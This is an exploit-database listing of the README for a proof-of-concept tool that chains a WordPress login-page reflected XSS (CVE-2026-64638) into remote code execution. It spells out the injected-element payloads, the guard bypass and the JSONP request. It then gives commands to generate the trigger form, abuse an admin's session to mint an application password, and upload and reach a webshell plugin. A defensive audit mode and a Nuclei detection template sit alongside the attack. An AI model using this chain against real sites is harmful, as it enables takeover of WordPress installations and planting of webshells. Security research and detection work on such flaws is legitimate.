Sploitus

Exploit for CVE-2026-64638-PoC-XSS2Shell-

kitploit · 2026-08-30

Exploit Code

MARKDOWN109 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BOREAS37-CVE-2026-64638-POC-XSS2SHELL-
# XSS2Shell — WordPress Pre-Auth XSS → RCE Chain PoC

**CVE-2026-64638** · Reflected XSS on `wp-login.php` · CVSS 8.9 (v4.0) · Patched in WordPress 7.0.3

> ⚠️ **AUTHORIZED TESTING ONLY.** This tool is for security research and authorized penetration testing against systems you own or have explicit written permission to test. Unauthorized use is illegal in most jurisdictions. The researcher (PWN.AI) disclosed this on 2026-08-07; WordPress shipped the fix in 7.0.3 the same day.

## Overview

XSS2Shell is a pre-authentication **XSS to code-execution chain** affecting WordPress Core (all versions back to 4.7, ~500M+ sites). A single crafted failed-login attempt runs attacker JavaScript in the WordPress origin; against a logged-in administrator it escalates to **full RCE**.

Public disclosure: https://pwn.ai/blog/xss2shell

## The Chain (5 stages)

  1. **Parser differential** — `wp-login.php` reflects the submitted username via `sprintf('<strong>Error:</strong> The username <strong>%s</strong> ...')`. `< area id=test>` (whitespace between `<` and tag name) survives PHP `strip_tags()`, then WordPress's KSES sanitizer re-parses it into a **live DOM element**.
  2. **DOM injection** — injected elements on the login page: `< area id=ajaxurl href=...>`, `< div id=color-picker class=reset-pass-submit>`, `< button class="wp-generate-pw color-option">X`.
  3. **Autonomous request** — `wp-pass.php`'s delegated click handler fires via the injected button. The guard `user_id === new_user_id` is bypassed (`undefined === undefined` — both inputs absent on the login page). The identifier `ajaxurl` resolves to the injected `<area>` via HTML named property access on the Window object.
  4. **Same-origin POST** — jQuery POSTs to the attacker-controlled `href` (`/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1` — JSONP envelope).
  5. **RCE (admin victim)** — OAuth app-password flow → REST API page creation → plugin upload → webshell (PHP in `wp-content/plugins/<slug>/` is web-accessible without activation).



## Usage

root@kitploit:~
    
    
    # 1. Non-destructive check — does the target reflect the payload?
    python3 xss2shell.py check https://example.com
    
    # 2. DEFENSIVE AUDIT — WordPress hardening report (A-F score)
    python3 xss2shell.py audit https://example.com
    #    Checks: core version vs XSS2Shell/wp2shell, XSS reflection,
    #    sensitive file exposure (wp-config.bak, .git, debug.log, xmlrpc),
    #    security headers (CSP/HSTS/XFO), REST user enumeration.
    
    # 3. Generate the trigger HTML form (XSS stage)
    python3 xss2shell.py exploit --target example.com > trigger.html
    
    # 4. RCE stage (lab only — needs admin application password)
    python3 xss2shell.py shell https://example.com --app-password "XXXX XXXX XXXX XXXX XXXX XXXX"
    
    # 5. Emit the plugin zip without uploading
    python3 xss2shell.py zip --out xss2shell-plugin.zip
    

Requires: **Python 3.8+ stdlib only** — no third-party dependencies.

### Audit example

root@kitploit:~
    
    
    $ python3 xss2shell.py audit https://target.example
    
    ================================================================
    WORDPRESS SECURITY AUDIT (defensive mode)
        Target: https://target.example
    ================================================================
      [CRITICAL] WordPress 6.9.4 — CVE-2026-64638 (XSS2Shell) VULNERABLE, 7.0.3+ required
      [CRITICAL] wp-login.php XSS reflection PRESENT — CVE-2026-64638 active, update immediately!
      [HIGH] Leak: /xmlrpc.php HTTP 405
      [WARN] Header X-Frame-Options missing — clickjacking protection recommended
      ...
      SECURITY SCORE: F (91 risk points) — Critical risk — act immediately!
    

## Attack flow (manual lab walkthrough)

  1. Serve `trigger.html`, submit it (or auto-submit via JS) against the target login page → XSS fires in the victim's browser.
  2. With an admin victim: `authorize-application.php` is abused to mint an application password.
  3. Use the app password with `shell` to upload the plugin zip.
  4. Access `/wp-content/plugins/xss2shell/xss2shell.php` — `{"rce":true,...}`.



## Detections / References

  * PWN.AI disclosure: https://pwn.ai/blog/xss2shell
  * THN coverage: https://thehackernews.com/2026/08/new-wordpress-pre-auth-xss-could-lead.html
  * NHS cyber alert: https://digital.nhs.uk/cyber-alerts/2026/cc-4827
  * SocRadar: https://socradar.io/blog/xss2shell-cve-2026-64638-wordpress/



## Nuclei Template

A ready-to-use **Nuclei** template is included: `nuclei-CVE-2026-64638.yaml`

root@kitploit:~
    
    
    # Scan a single target
    nuclei -t nuclei-CVE-2026-64638.yaml -u https://example.com
    
    # Scan a list of targets
    nuclei -t nuclei-CVE-2026-64638.yaml -l targets.txt
    

The template detects the parser differential (reflected `< area` element on `wp-login.php`) with two payload variants and is verified against both vulnerable (6.9.4) and patched (7.0.3+) installations.

> Note: a functionally identical template was merged upstream into nuclei-templates via PR #16785 — this copy is maintained here for standalone use.

## License

MIT License — see LICENSE.

> **Note:** This PoC is published for defensive research and educational purposes. Use only against systems you own or are authorized to test.